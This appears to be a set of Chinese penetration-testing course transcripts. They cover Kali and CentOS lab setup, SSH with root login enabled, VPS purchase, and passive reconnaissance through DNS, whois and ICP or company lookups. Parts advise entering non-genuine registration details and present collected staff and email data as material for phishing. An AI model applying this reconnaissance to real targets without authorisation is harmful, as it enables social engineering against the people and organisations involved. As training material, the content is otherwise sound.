apt update:此命令用于从配置的软件源同步包索引文件,相当于检查有哪些软件可以更新,但并不会实际安装更新。apt install:此命令用于安装指定的软件包。它会从软件源下载.deb格式的包并自动完成安装。
我们安装的软件包包含两个主要部分:
open-vm-tools-desktop:实现屏幕分辨率自适应和基础集成功能。fuse(Filesystem in Userspace):用户空间文件系统,是实现物理机与Kali之间自由拖拽文件的关键组件。
关于 apt 与 apt-get 的区别:两者功能基本相同。apt 可以看作是 apt-get 和 apt-cache 命令的合集,提供了更简洁、用户友好的选项。对于普通用户,建议使用 apt 命令。
以下是常用的 apt 命令列表:
apt install <package_name>:安装软件包。apt remove <package_name>:移除软件包。apt update:更新可用软件包列表。apt upgrade:通过安装/升级软件包来更新系统。apt full-upgrade:通过卸载/安装/升级来更彻底地更新系统。apt edit-sources:编辑软件源配置文件。

完成安装与系统重启 🔄

安装过程需要确认时,输入大写的 Y 并按回车键继续。等待所有软件包安装完成后,需要重启系统以使更改生效。


执行重启命令:
sudo reboot
系统重启后,使用您的用户名和密码重新登录。

其他实用设置与系统快照 📸
安装完成并重启后,我们还需要进行一些优化设置,并为当前稳定的系统状态创建一个备份(快照)。

首先,关闭系统自动锁屏功能:
- 点击桌面右上角的系统菜单(电源/设置图标)。
- 选择“设置”。
- 进入“电源”选项。
- 将“空白屏幕”或“自动锁屏”的时间设置为“从不”。
创建系统快照:快照相当于系统状态的备份。如果在后续操作中系统出现问题,可以快速恢复到创建快照时的状态。建议在关机状态下创建快照以节省磁盘空间。
- 首先,关闭Kali Linux虚拟机。
- 在VMware菜单中,选择“虚拟机” -> “快照” -> “拍摄快照...”。
- 为快照命名,例如“Kali基础安装与配置完成”。
- 点击“拍摄快照”即可完成。
- 之后可以通过“虚拟机” -> “快照” -> “快照管理器”来查看或恢复到任意快照点。
总结 📝

本节课中我们一起学习了如何为Kali Linux虚拟机安装Open VM Tools,以实现与物理机之间流畅的文件交互和显示自适应。我们还解析了相关的Linux包管理命令,并完成了关闭自动锁屏、创建系统快照等实用设置。这些步骤为后续的渗透测试学习打下了一个稳定、便捷的基础环境。
Kali渗透系列 P28:Kali本地网络配置与SSHD服务连接 🛠️

在本节课中,我们将学习如何为Kali Linux配置静态IP地址,并设置SSHD服务以允许通过Xshell等工具进行远程连接。这是搭建稳定渗透测试环境的基础步骤。
一、 查看与临时配置IP地址

上一节我们介绍了课程目标,本节中我们来看看如何查看和临时修改Kali的IP地址。

使用 ifconfig 命令可以查看当前网络接口的IP地址信息。如果你的Kali是自动获取IP(DHCP),其地址可能会变化,这不利于远程连接。

以下是临时配置IP地址的命令:
ifconfig eth0 192.168.1.53 netmask 255.255.255.0
此命令将第一块网卡 eth0 的IP临时设置为 192.168.1.53,子网掩码为 255.255.255.0(/24)。
配置后,可以测试网络连通性:
ping 192.168.1.1
如果能ping通网关,说明网络层配置基本正确。

二、 配置DNS解析
网络连通后,我们可能还无法解析域名(例如ping不通百度),这是因为DNS服务器未配置。

以下是配置DNS的步骤:
- 编辑DNS配置文件:
vim /etc/resolv.conf - 在文件中添加以下内容:
其中,nameserver 8.8.8.8 search localdomainnameserver指定了DNS服务器地址。

三、 永久配置静态IP地址

临时配置的IP在重启后会失效。为了长期稳定使用,我们需要永久配置静态IP。

以下是永久配置静态IP的步骤:
- 编辑网络接口配置文件:
vim /etc/network/interfaces - 找到对应网卡(如
eth0)的配置部分,将其从dhcp修改为static,并添加详细的网络参数。示例如下:auto eth0 iface eth0 inet static address 192.168.1.53 # IP地址 netmask 255.255.255.0 # 子网掩码 gateway 192.168.1.1 # 默认网关 - 保存文件后,重启网络服务使配置生效:
或者使用Systemd方式:/etc/init.d/networking restartsystemctl restart networking

四、 配置SSHD服务允许Root登录
配置好网络后,我们需要开启SSH服务,以便进行远程管理。默认情况下,Kali可能禁止root用户远程登录。
以下是配置SSHD服务的步骤:
- 编辑SSH服务配置文件:
vim /etc/ssh/sshd_config - 在文件中找到并修改以下两行参数:
PermitRootLogin yes # 允许root登录 PubkeyAuthentication yes # 启用公钥认证 - 保存修改后,重启SSH服务:
systemctl restart ssh - 为了确保开机自动启动SSH服务,可以执行:
update-rc.d ssh enable

五、 使用Xshell连接Kali
服务配置完成后,我们就可以在Windows上使用Xshell客户端进行连接了。
以下是使用Xshell连接的步骤:
- 打开Xshell,点击“新建”会话。
- 在连接设置中,填入Kali的IP地址(如
192.168.1.53)和SSH端口(默认为22)。 - 在用户身份验证中,选择“Password”方式,用户名填写
root,并输入Kali系统中root用户的密码。 - 建议在“属性”中调整终端字体大小(如16号),并在“文件传输”设置中指定默认的本地下载/上传路径,方便后续文件管理。
- 点击“连接”,首次连接时会提示接受主机密钥,点击“接受并保存”即可。
- 连接成功后,即可在Xshell的终端窗口中操作Kali Linux。


如果需要通过Xshell上传文件到Kali,可以在Kali终端使用 rz 命令;下载文件则使用 sz <文件名> 命令。




总结

本节课中我们一起学习了Kali Linux网络与远程连接的核心配置。
我们首先学会了查看和配置IP地址(包括临时与永久配置),然后设置了DNS服务器以确保域名解析。
接着,我们修改了SSHD服务的配置,允许root用户进行远程登录。
最后,我们使用Xshell客户端成功连接到配置好的Kali系统,并简介了文件传输的方法。
这些步骤为后续搭建稳定的渗透测试环境奠定了坚实基础。
P29:6.9-【Kali渗透系列】云服务器使用方法 🖥️
在本节课中,我们将学习如何购买并配置一台国外的VPS服务器。这对于后续进行安全或渗透测试至关重要,因为使用个人专属的服务器能避免共享带来的潜在风险。
为什么选择国外VPS?🌍

上一节我们介绍了课程目标,本节中我们来看看选择国外服务器的原因。


不建议购买国内服务器,因为国内监管较为严格。而国外服务器(如BandwagonHost)政策相对宽松,且带宽条件通常更好。例如,国外服务器常提供1Gbps带宽,而国内同等带宽价格昂贵。国外服务器通常限制的是每月流量(如1TB),而非带宽速度。
核心概念:带宽 vs 流量
- 带宽:指网络连接的最大数据传输速率,单位如 Mbps 或 Gbps。
带宽 = 数据传输速率 - 流量:指一段时间内(如每月)通过网络传输的数据总量,单位如 GB 或 TB。
月流量限额 = 1 TB
免责声明:以下内容仅用于教学目的。


注册与购买流程 🛒
了解了服务器选择后,我们进入具体的购买环节。
访问官网与注册
以下是注册步骤:
- 访问 BandwagonHost 官方网站。
- 点击页面上的 Register(注册)按钮。
- 填写注册表单。其中,邮箱(Email)必须填写正确,密码需确认(Confirm Password)。其他信息如地址(Address)、邮政编码(Zip Code)等可以酌情填写,不必完全真实。
- 完成人机验证(Check Browser)后提交注册。
提示:如果英文界面阅读困难,可以使用Chrome浏览器的网页翻译功能。

选择与订购VPS

注册成功后,即可购买VPS。
以下是推荐的VPS配置选择:
- 产品:20G KVM VPS
- 价格:$4.99/月
- 配置:CPU 2核,内存 1GB,硬盘 20GB,月流量 1TB,带宽 1Gbps。
- 特点:KVM虚拟化技术,性能较好;支持30天内新账户退款(实际操作中可能较难)。

订购时,结算周期(Billing Cycle)选择默认即可,数据中心(Data Center)可选洛杉矶(Los Angeles)或其他。点击“Order Now”或“Add to Cart”加入购物车。


在结账(Checkout)页面,可以尝试使用提供的促销代码以获得优惠。支付方式支持支付宝(Alipay)和微信支付(WeChat Pay)。
服务器管理面板详解 ⚙️

成功购买服务器后,我们来看看如何管理它。



登录账户后,在“Services -> My Services”中可以找到已购买的VPS,状态为“Active”。点击管理按钮(如“KVM Control Panel”)进入控制面板。
控制面板提供了丰富的管理功能,以下是主要功能的中文说明:
- Start/Stop/Reboot:开机、关机、重启服务器。
- Root Shell:直接在网页端打开服务器的命令行终端,可以执行如
ifconfig等命令。 - Install OS:为服务器重新安装操作系统(会丢失所有数据,操作前建议关机)。
- Root Password Modification:修改服务器的root用户密码。
- Snapshots:创建或恢复服务器快照,用于系统备份和还原。
- Statistics:查看服务器的详细统计信息,如资源使用情况。
- Two-Factor Authentication:设置双重身份认证,提升账户安全性。
操作建议:在进行重要操作(如重装系统)前,务必先创建快照(Snapshot)。
远程连接服务器 🔗
管理面板虽然方便,但更多操作需要通过SSH远程连接进行。
在控制面板的“Details”或“Statistics”中,可以找到服务器的IP地址和SSH端口号(通常不是默认的22)。
以下是使用SSH客户端(如Xshell)连接的步骤:
- 打开SSH客户端,新建会话。
- 主机(Host)填写服务器的IP地址。
- 端口号(Port)填写控制面板中显示的SSH端口(例如
28841)。 - 身份验证(Authentication)选择“Password”,用户名填写
root,密码填写控制面板中显示或你修改后的root密码。 - 连接即可登录到服务器的命令行界面。
连接代码示例(Linux/macOS 终端):
ssh root@你的服务器IP -p 你的SSH端口号
# 示例:ssh root@192.168.1.1 -p 28841
输入命令后,按提示输入密码即可登录。


总结 📝


本节课中我们一起学习了从零开始获取并使用一台VPS服务器的完整流程。



我们首先探讨了选择国外VPS的原因,主要是出于政策与性价比的考虑。接着,我们一步步完成了在BandwagonHost官网的注册、选购合适配置的VPS以及支付。然后,详细介绍了服务器控制面板的各项核心功能,如开关机、重装系统、创建快照和修改密码等。最后,我们讲解了如何通过SSH工具远程连接到服务器,以便进行后续的深入操作。



掌握独立VPS服务器的使用,是进行安全学习和实践的重要基础步骤。
课程P3:1.2 - 网络安全基础 - 白帽守则(中)与攻防环境搭建 🛡️💻
在本节课中,我们将学习网络安全中的白帽守则,并通过一个真实案例理解遵守规则的重要性。随后,我们将开始搭建用于渗透测试和攻防演练的基础环境,重点讲解如何安装和配置 CentOS 7 虚拟机。
白帽守则与警示案例 ⚖️
上一节我们介绍了黑客的基本概念和部分守则,本节中我们来看看守则的最后一条及其重要性。
第15条守则明确指出:不遵守法则的黑客必将受到谴责和惩罚。这条规则至关重要,必须严格遵守。每个人都应成为遵纪守法的好公民。
这些法则部分由前辈传承,部分由我们后续添加。希望大家能谨记当前版本。
如果不遵守这15条准则,就无法保证安稳。不听话的后果,可以通过一个真实案例来了解。
2012年的一篇文章记载了2001年安全圈内非常知名的“中美黑客大战”。该事件起源于军事安全问题,进而引发了中美双方黑客团体的互相攻击。

当时美国黑客攻陷了包括台湾地区在内的中国境内网站。据统计,在24小时内,约有900多个中国网站被攻破。而中国黑客攻击的美国网站数量,统计约为90多个。

这并不代表中国黑客技术水平不行。中国黑客受传统道家、儒家思想影响,在攻击时往往留有余地,例如只修改首页而未进行拒绝服务攻击。相比之下,美国黑客的手段更为狠辣。
我学习时的师傅王宪兵,是中国第二代知名黑客,曾参与中美大战。我的同辈师叔周林亮,也是一位非常厉害的老黑客。他们的事迹可供查阅。
我提及此事并非为了吹捧,而是为了警示。我的师傅和师叔因为当年参与事件,且行事高调,最终师傅被判刑4年,师叔被判刑3年。其中涉及许多不便详述的细节。
这告诉我们,网络安全不是儿戏。当然,参与此事的人很多,只是师傅和师叔比较仗义,承担了主要责任。判决距今已有十年。
师傅出狱后找到我,询问我是否还在这个圈子,并提议我们重新拾起安全学科的教学。他认为中国第三代和第四代黑客出现了断层。因此,我们决定重新整理安全学科知识并传授给大家。
既有判刑的先例,大家一定要引以为戒,务必遵守规则。
以上就是关于黑客及黑客守则的讲解,并通过前辈的案例进行了现身说法。大家要以他们为戒,切勿肆意妄为。
攻防环境搭建准备 🛠️
接下来,我们将开始搭建攻防演练环境。
我会在百度网盘中分享一些常见的系统镜像,用于本地进行攻防演练和渗透测试。我们首先需要准备以下环境。
为了讲解 Linux,我们需要 CentOS 的环境。我们需要一个6.x版本和一个7.x版本,这是目前服务器流行的两个主要版本。
Linux 发行版众多,还包括 Ubuntu、Debian、Fedora 等。本课程将以 CentOS 7 为主进行介绍,同时也会涉及 SUSE、Ubuntu、Debian、Fedora 等,让大家有所认知。在此基础上,大家有时间可以自行深入。
今天这一讲,我将主要带大家搭建 CentOS 7 环境。请跟着我的步骤操作,以防止后续使用中出现各种问题。
选择 CentOS 7.6 1810 这个版本。目前 CentOS 7 最高版本是 7.9,但我们选择 7.6。原因与后续讲解 Docker、云计算等内容相关联。
安装过程涉及安装与优化。如果你是 Linux 系统运维的零基础学员,没关系。我们的安全课程会涵盖操作系统知识,包括基础命令、用户管理、文件管理、网络管理、进程管理等,并进行安全加固讲解。

课程从下周开始,一周两次。部分课程为录播课,但都由我主讲,内容一致。有时间可以看直播,没时间看回放也可以。



以下是所需环境列表:

- CentOS 环境:需要一个 CentOS 7.6 1810 版本的系统。
- Windows 环境:需要较多版本,因为政府、国企等机构仍大量使用 Windows 服务器。
- Windows 7 SP1
- Windows Server 2008 R2
- Windows Server 2003 R2
- Windows Server 2008, 2012, 2016, 2019
- Windows XP SP3
- Windows 11 1907 及以上版本
- 靶场环境:后续需要,本次暂不安装。
Windows 系统的安装相对简单,一直点击“下一步”即可。难点可能在于获取系统镜像。

现在,我们开始安装 CentOS 7.6,并演示如何封装模板机以便后续克隆。
我们使用虚拟机进行安装。这里使用的是 VMware Workstation 16 专业版。软件安装方法请自行搜索或使用网盘分享的安装包。
第一步是在 Windows 系统上安装 VMware Workstation。使用 Windows 10 专业版或专业工作站版,不要使用家庭版,因为家庭版会缺少很多功能。
对于 Mac 系统的用户,可以使用 VMware Fusion 专业版,操作原理相同。我后续会录制 Mac 系统下的安装教程。

内存方面,建议 16GB,8GB 也基本够用,无需过度投入。我本人使用的是 64GB ECC 内存。
安装完 VMware 后,我们开始创建虚拟机。

CentOS 7.6 虚拟机安装步骤 📥
以下是安装 CentOS 7.6 虚拟机的具体步骤:
- 在 VMware 主页选择“创建新的虚拟机”。
- 选择“典型”配置,点击“下一步”。
- 选择“稍后安装操作系统”,点击“下一步”。
- 客户机操作系统选择“Linux”,版本选择“CentOS 7 64位”,点击“下一步”。
- 为虚拟机命名,例如“CentOS7_Template”。建议命名为“模板机”,方便日后直接克隆。指定虚拟机存储位置。
- 磁盘大小设置为 20GB 左右,选择“将虚拟磁盘拆分成多个文件”,点击“下一步”。
- 点击“完成”创建虚拟机。
- 编辑虚拟机设置。内存通常给 1GB,处理器给 1 核即可(模板机配置)。复杂场景可给双核 4GB。
- 在“CD/DVD”设置中,选择“使用 ISO 镜像文件”,并指向下载好的 CentOS 7.6 ISO 文件。
- 启动虚拟机。
启动后,选择第一个选项“Install CentOS 7”并回车。
在安装界面,语言建议选择“English”。这并非为了炫耀,而是因为遇到问题时,英文错误信息的搜索和解决更准确。课程中我会总结常用的计算机英语单词,零基础学员也无需担心。
点击“Continue”。
在“SOFTWARE SELECTION”中,选择“Minimal Install”(最小化安装)。如果需要图形界面,可选择带 GUI 的服务器版本。在右侧,勾选“Debugging Tools”、“Compatibility Libraries”、“Development Tools”、“Security Tools”和“System Administration Tools”。取消勾选“Kdump”。
在“INSTALLATION DESTINATION”中,选择自动配置分区即可。
在“NETWORK & HOST NAME”中,将网络连接开关打开,主机名暂时设为“localhost”。点击“Apply”。
时间和日期可以稍后通过 NTP 服务配置,这里暂时不设置。
点击“Begin Installation”。


在安装过程中,设置 root 用户的密码。为了方便实验,可以设置简单密码,但在生产环境中必须使用强密码并定期更换。同时,可以创建一个普通用户。
等待安装完成。完成后,点击“Reboot”重启系统。


重启后,使用 root 用户和设置的密码登录系统。

安装后基础优化 ⚙️


系统安装完成后,需要进行一些基础优化配置。


首先,测试网络连通性。输入命令 ip a 查看网络配置(如 ens33 网卡),并使用 ping www.baidu.com 测试外网是否通畅。
第二步,修改主机名。生产环境中需要有规范的主机名规划。这里我们修改主机名,例如改为 sec。
在 CentOS 7 中,可以使用命令 hostnamectl set-hostname sec 来修改。修改后需要重新登录或开启新终端生效。

第三步,配置静态 IP 地址。这是服务器管理的关键步骤,可以避免 IP 地址变动导致远程连接失败。
配置方法通常是编辑网卡配置文件,例如 /etc/sysconfig/network-scripts/ifcfg-ens33,将 BOOTPROTO 改为 static,并设置 IPADDR、NETMASK、GATEWAY、DNS1 等参数。配置后重启网络服务。

远程连接与 Shell 基础 🔌
在等待安装或后续操作时,可以了解远程连接工具。
以下是两款常用的远程连接工具:
- Xshell:功能强大友好,广泛应用于运维和开发。
- MobaXterm:我本人使用的工具,功能也非常全面。
此外,Xshell 通常配套使用 Xftp 进行文件传输。
登录 Linux 系统后,我们主要通过 Shell(命令解释器)与系统内核交互。Shell 是用户与系统内核之间的桥梁。
交互方式主要有两种:
- 交互式:用户输入命令,系统立即返回结果,有来有往。例如输入
ls命令后系统显示目录列表。我们主要通过这种方式学习 Shell 命令,本课程将涵盖约 150 个常用命令。 - 非交互式:通过执行 Shell 脚本文件(通常以
.sh结尾)来批量、自动地运行命令。例如,一个包含echo “Hello World”的脚本文件。这涉及到自动化、编程逻辑和定时任务等高级功能,是 Shell 的强大之处。
总结 📚

本节课中我们一起学习了白帽守则的最后一条及其背后的警示意义,并通过真实案例理解了遵守安全规则的重要性。随后,我们开始了攻防环境的搭建,详细演示了如何在 VMware 中安装 CentOS 7.6 虚拟机,并介绍了安装后的基础优化步骤、远程连接工具以及 Shell 的基本概念。下一节课,我们将深入 Linux 系统,开始学习那 150 个必备的 Shell 命令。
课程P30:7.1-【被动信息收集系列】被动信息收集概述 🕵️
在本节课中,我们将要学习网络安全中一项基础且重要的技能——被动信息收集。我们将了解其概念、原理、常用工具以及具体收集哪些信息。

什么是被动信息收集?🤔
上一节我们介绍了课程主题,本节中我们来看看被动信息收集的具体定义。

信息收集主要分为主动和被动两种方式。被动信息收集是指利用第三方服务对目标进行访问和了解,而不直接与目标系统交互。例如,使用谷歌、百度等搜索引擎,或Shodan等网络空间搜索引擎。一个网站上线后,通常会被各大搜索引擎收录,我们可以通过这些公开渠道收集到关于该站点的信息。
与被动收集相对的是主动信息收集。主动信息收集通过直接访问或扫描目标网站来获取信息,例如使用nmap扫描端口。这种行为会使流量直接流经目标网站,不可避免地在目标日志中留下记录。

被动信息收集的主要目的是通过公开渠道获取目标主体的信息。其优点在于不与目标直接交互,因此不会留下痕迹,相对更为安全。在实际操作中,主动和被动信息收集通常需要结合使用。
信息收集包含哪些内容?📋
了解了被动信息收集的定义后,我们来看看具体需要收集哪些信息。以下是信息收集通常涵盖的核心内容:
- IP地址段:用于批量探测网络中存活的主机。
- 域名信息:包括域名解析记录(如
A记录、CNAME记录)、真实IP地址、域名注册商、注册邮箱、注册与到期时间、备案信息等。 - 邮件地址:可用于后续的钓鱼攻击或社会工程学。
- 文档与数据:从目标网站或相关渠道泄露的文档、图片、数据中可能包含敏感信息。
- 公司及人员信息:包括公司地址、组织架构、联系电话、人员姓名与职务等,可用于社会工程学攻击。
- 技术架构信息:例如服务器操作系统(Linux/Windows)、Web服务器类型(Apache/Nginx)、中间件、开放的端口及对应服务等。
- 公开商业信息:公司在各类信息平台发布的宣传文章或资料,可能透露其技术栈或业务细节。
信息收集的原则是尽可能详细,不放过任何细节。

信息收集的目的是什么?🎯

收集到大量信息后,我们该如何利用它们呢?本节我们来探讨信息收集的核心目的。
信息收集主要服务于以下几个目标:
- 描述目标:综合服务器系统、开放端口、运行服务等信息,全面刻画目标的网络轮廓。
- 发现目标:通过收集的IP地址段,探测并发现网络中存活的主机或设备。
- 社会工程学攻击:利用收集到的公司地址、组织架构、人员信息等,为针对内部人员的社工攻击提供素材,可能成为内网渗透的突破口。
- 寻找漏洞(物理/逻辑缺口):
- 通过识别特定的系统版本(如
Linux kernel 5.4.0)、软件版本(如Apache 2.4.49),关联已知的公开漏洞。 - 通过主动扫描(结合主动收集)发现潜在的安全弱点。
- 通过识别特定的系统版本(如

本节课中我们一起学习了被动信息收集的基本概念、需要收集的具体内容以及这些信息的最终用途。掌握全面、细致的被动信息收集方法,是进行有效网络安全评估和渗透测试的第一步。在接下来的课程中,我们将深入探讨DNS解析原理、子域名收集等具体技术。
课程P31:7.2-【被动信息收集系列】DNS域名解析原理 🧭
在本节课中,我们将要学习DNS域名解析的基本原理。DNS是互联网的“电话簿”,负责将我们熟悉的域名(如 www.example.com)转换为计算机能够理解的IP地址(如 192.0.2.1)。理解这个过程是进行网络信息收集和安全分析的基础。
DNS服务器简介
上一节我们介绍了课程概述,本节中我们来看看DNS系统的核心组件——DNS服务器。
DNS服务器是运行DNS服务器程序的计算机,它存储着DNS数据库信息。DNS服务器主要分为两种类型:根DNS服务器和顶级域名DNS服务器。
- 根DNS服务器:全球共有13个根服务器,它们存储了所有顶级域名服务器(如
.com、.net)的地址信息。 - 顶级域名DNS服务器:这类服务器存储了在其下注册的二级域名(如
163.com)所对应的主机地址信息。
当注册一个域名(例如 xuega.cn)并购买服务器后,需要将域名解析到该服务器的IP地址。这个解析记录就存储在DNS服务器中。当用户通过浏览器访问该域名时,DNS系统会找到这个记录,从而让用户能够访问到对应的网站。
域名解析记录类型
了解了DNS服务器的角色后,我们来看看它具体存储哪些信息。DNS数据库中的条目称为“记录”,不同类型的记录有不同的用途。
以下是几种常见的DNS记录类型:
- A记录(Address Record):这是最核心的记录类型,用于正向解析。它将一个主机名(域名)关联到一个IPv4地址。例如,将
xuega.cn解析到8.8.8.8。其核心作用是建立域名->IP地址的映射关系。- 公式/代码表示:
域名 IN A IP地址(例如:xuega.cn. IN A 8.8.8.8)
- 公式/代码表示:


- PTR记录(Pointer Record):与A记录相反,用于反向解析。它将一个IP地址关联到一个主机名(域名),即
IP地址->域名的映射。这些记录保存在特殊的in-addr.arpa域中。


-
CNAME记录(Canonical Name Record):也称为别名解析。它允许将多个域名映射到同一台计算机(同一个A记录)。例如,可以将
www.xuega.cn和web.xuega.cn都设置为指向xuega.cn这个主域名。- 公式/代码表示:
别名 IN CNAME 规范名(例如:www.xuega.cn. IN CNAME xuega.cn.)
- 公式/代码表示:
-
MX记录(Mail Exchange Record):指向邮件服务器,用于电子邮件系统发信时定位收件人地址后缀对应的服务器。例如,企业邮箱
mail.xuega.cn就对应一个MX记录。当存在多个MX记录(即多个邮件服务器)时,会通过优先级数值来确定使用顺序,数字越小优先级越高。

- NS记录(Name Server Record):指定由哪个DNS服务器来对该域名进行解析,也称为授权服务器。例如,
dns.xuega.cn就是一个域名服务器。通常由域名注册商(如阿里云、腾讯云)提供。


实践:注册与解析域名(可选)
理论需要结合实践来加深理解。为了让大家更直观地体验域名解析,这里提供一个可选的实践步骤:注册一个自己的域名。

大家可以在域名服务商(如阿里云 wanwang.aliyun.com)注册一个域名。域名价格从几元到几十元每年不等。注册成功后,你需要将其解析到你拥有的服务器IP地址上。

请注意:如果你使用中国大陆的服务器,域名必须进行备案才能访问。如果使用香港或海外的服务器,则通常无需备案。
这个过程可以帮助你亲手操作A记录、CNAME记录等设置,直观理解DNS解析是如何工作的。此实践为建议内容,不影响后续课程学习。
DNS解析查询过程
当我们输入网址并按下回车时,背后发生了一系列复杂的查询。这个过程主要涉及两种查询方式:递归查询和迭代查询。
整个DNS解析通常经过以下步骤,虽然迅速,但逻辑清晰:
- 浏览器缓存:浏览器首先检查自身缓存中是否有该域名对应的IP地址。
- 系统缓存(Hosts文件):如果浏览器缓存没有,则检查操作系统中的
Hosts文件。你可以手动修改此文件来强制域名指向特定IP。 - 路由器缓存:查询请求会发送到路由器,检查其DNS缓存。
- ISP DNS缓存:如果以上均无结果,请求会进入互联网服务提供商(如电信、联通)的DNS缓存服务器进行查找。
- 根域名服务器:若ISP缓存也没有,查询将抵达全球13台根域名服务器之一。根服务器不直接解析域名,但会返回负责该顶级域(如
.com)的顶级域名服务器地址。 - 顶级域名服务器:本地DNS服务器根据根服务器的指引,去查询对应的顶级域名服务器(如
.com服务器)。顶级域名服务器会返回负责该二级域(如163.com)的主域名服务器地址。 - 主域名服务器:本地DNS服务器最后向目标域的主域名服务器发起查询。主域名服务器查询自己的记录,找到最终的
域名 -> IP映射关系。 - 返回并缓存:主域名服务器将IP地址返回给本地DNS服务器。本地DNS服务器首先将这个结果缓存起来,以备后续快速响应,然后将IP地址返回给用户的计算机。浏览器最终获得IP地址,开始与目标服务器建立连接。
核心要点:整个过程中,本地DNS服务器承担了“中介”角色,对用户来说是递归查询(只问一次,等最终答案),而对上级服务器是迭代查询(不断追问下一个该问谁)。缓存机制极大地提升了重复访问的效率。

本节课中我们一起学习了DNS域名解析的核心原理。我们了解了DNS服务器的分类、常见的解析记录类型(A、PTR、CNAME、MX、NS),并通过一个可选实践环节加深了理解。最后,我们详细剖析了从输入网址到获得IP地址的完整八步查询过程,理解了递归与迭代查询的区别以及缓存的重要性。掌握这些知识是进行后续网络探测和信息收集的坚实基础。
课程 P32:7.3 - 【被动信息收集系列】DNS信息收集 🕵️

概述
在本节课中,我们将要学习如何进行DNS信息收集。DNS(域名系统)是将域名转换为IP地址的关键服务。我们将介绍几种常用的命令行工具,帮助你查询域名的IP地址、反向解析IP地址对应的域名,以及获取DNS服务器的版本信息。这些技能是网络安全和信息收集的基础。


使用 ping 命令解析域名
将域名解析为IP地址的最简单方法是使用 ping 命令。ping 命令除了可以测试网络连通性,还能快速获取域名对应的IP地址。
以下是具体操作步骤:
- 打开终端。
- 输入命令
ping 域名,例如ping xuegod.cn。 - 命令执行后,会显示该域名对应的IP地址。
你也可以使用 -c 参数指定发送数据包的数量,例如 ping -c 1 xuegod.cn,这样会直接显示IP地址。

使用 nslookup 命令查询DNS
除了 ping 命令,nslookup 也是一个非常实用的DNS查询工具。它可以帮助我们更详细地查询域名信息。
以下是具体操作步骤:
- 在终端输入
nslookup 域名,例如nslookup xuegod.cn。 - 默认情况下,它会使用公共DNS服务器(如
8.8.8.8)进行查询,并返回该域名的IP地址。 - 你也可以查询其他网站,例如
nslookup www.baidu.com。查询结果可能会显示多个IP地址(这通常是因为网站使用了CDN或负载均衡),以及一些别名记录(CNAME)。

使用 dig 命令进行高级查询
dig 是一个功能更强大的DNS查询工具,可以提供更详细的信息。它的基本用法很简单,但支持许多有用的参数。

以下是 dig 命令的常见用法:
基本查询
直接查询域名的A记录(即IP地址):
dig xuegod.cn
指定DNS服务器查询
你可以使用 @ 符号指定使用哪个DNS服务器进行查询,例如使用 114.114.114.114:
dig xuegod.cn @114.114.114.114
使用公共DNS服务器或目标域名自己的DNS服务器(如 ns1.hichina.com)都可以。使用目标自己的DNS服务器查询速度通常会更快。
查询所有记录类型
使用 any 参数可以查询该域名的所有DNS记录类型,包括A记录、MX记录(邮件交换记录)、NS记录(域名服务器记录)等:
dig xuegod.cn any
如果查询结果显示MX记录,说明该域名配置了企业邮箱。

反向DNS解析(IP反查域名)
上一节我们介绍了如何通过域名查找IP。本节中,我们来看看反向操作:如何通过已知的IP地址查找其绑定的域名,这称为反向DNS解析。

dig 命令可以通过 -x 参数实现反向解析。例如,查询IP地址 114.114.114.114 对应的域名:
dig -x 114.114.114.114
查询结果中的PTR记录就显示了该IP地址对应的域名。你可以再次使用 ping 命令验证这个域名是否能解析回原来的IP地址。

查询DNS服务器版本信息
查询DNS服务器的版本信息有助于了解其使用的软件,进而可能发现相关的已知漏洞。
以下是查询DNS服务器版本信息的命令格式:
dig txt chaos version.bind @DNS服务器地址
其中,txt 代表查询文本类型的记录,chaos 是查询类别,version.bind 是查询版本信息的特定请求。

例如,查询一个指定的DNS服务器:
dig txt chaos version.bind @ns1.hichina.com
如果查询成功,会返回该DNS服务器软件的版本信息。但请注意,许多服务器出于安全考虑会禁止此类查询,或返回自定义信息(例如提示“你的IP已被记录”),这属于正常情况。

总结
本节课中,我们一起学习了DNS信息收集的几种核心方法。我们介绍了三个主要工具:ping、nslookup 和 dig。利用这些工具,你可以完成域名到IP的正向解析、IP到域名的反向解析,以及查询DNS服务器的详细信息。掌握这些基础命令,是进行更深入网络探测和安全评估的重要第一步。
课程 P33:7.4 - 【被动信息收集系列】查询网站的域名注册信息和备案信息 🔍
在本节课中,我们将学习如何查询一个网站的域名注册信息和备案信息。通过获取这些信息,我们可以了解到网站背后的企业、联系人、注册时间等关键数据,这对于安全评估和信息收集至关重要。
一、域名注册信息查询
通过查询域名的注册信息,我们可以获取其IP地址、注册商、企业名称、注册邮箱、注册与到期时间等。查询方式主要有两种:通过Web接口在线查询和使用命令行工具查询。
1. 通过Web接口查询
以下是两种常用的在线查询工具:
- 阿里云Whois查询:访问
whois.aliyun.com,输入域名即可查询。 - 站长之家Whois查询:访问
whois.chinaz.com,输入域名进行查询。
以查询 www.xuega.cn 为例,在站长之家查询结果中,除了基础信息,还提供了“域名反查”和“联系人反查”功能。这意味着我们可以通过一个已知的注册公司或邮箱,反查出该实体名下注册的所有其他域名。
2. 通过命令行查询
在Kali Linux等渗透测试环境中,可以使用 whois 命令进行查询。命令格式如下:
whois xuega.cn

执行该命令后,会返回域名的状态、注册公司、联系邮箱、DNS服务器、注册及到期时间等详细信息。
二、网站备案信息查询

上一节我们介绍了如何查询域名的注册信息,本节中我们来看看如何查询网站的备案信息。根据中国法律规定,使用国内服务器的网站必须进行ICP备案,否则无法正常访问。备案信息中包含了真实的主办单位名称,这是非常有价值的信息。
查询备案信息主要通过Web接口进行。例如,在站长之家(icp.chinaz.com)输入域名 xuega.cn 进行查询。
查询结果会显示:
- 主办单位名称:企业的真实名称。
- 主办单位性质:分为“企业”和“个人”备案。
- 备案许可证号:网站合法的备案编号。
- 审核时间:备案通过的具体日期。
获取到企业名称后,我们可以进行更深层次的信息收集。
三、基于企业信息的深度收集
当我们通过备案信息获取到真实的企业名称后,可以进一步利用商业查询平台进行深度信息收集。例如,使用“天眼查”等工具。
在天眼查中输入企业名称(如“百度”),可以查询到:
- 公司法人代表
- 成立时间
- 统一社会信用代码(纳税识别号)
- 登记机关
- 公司类型
- 注册地址
这些信息,尤其是注册地址和法人信息,在后续的社会工程学评估或线下测试中可能具有重要参考价值。需要注意的是,注册地址可能与实际办公地址不一致,需要结合其他信息进行核实。
总结
本节课中,我们一起学习了被动信息收集的关键环节:查询域名注册信息和网站备案信息。
- 我们掌握了通过 Web接口 和
whois命令 查询域名注册信息的方法。 - 我们学会了如何查询网站的 ICP备案信息,并从中提取真实的企业名称。
- 我们了解了如何利用企业名称,通过“天眼查”等工具进行 深度信息收集,获取公司架构、地址等关键数据。

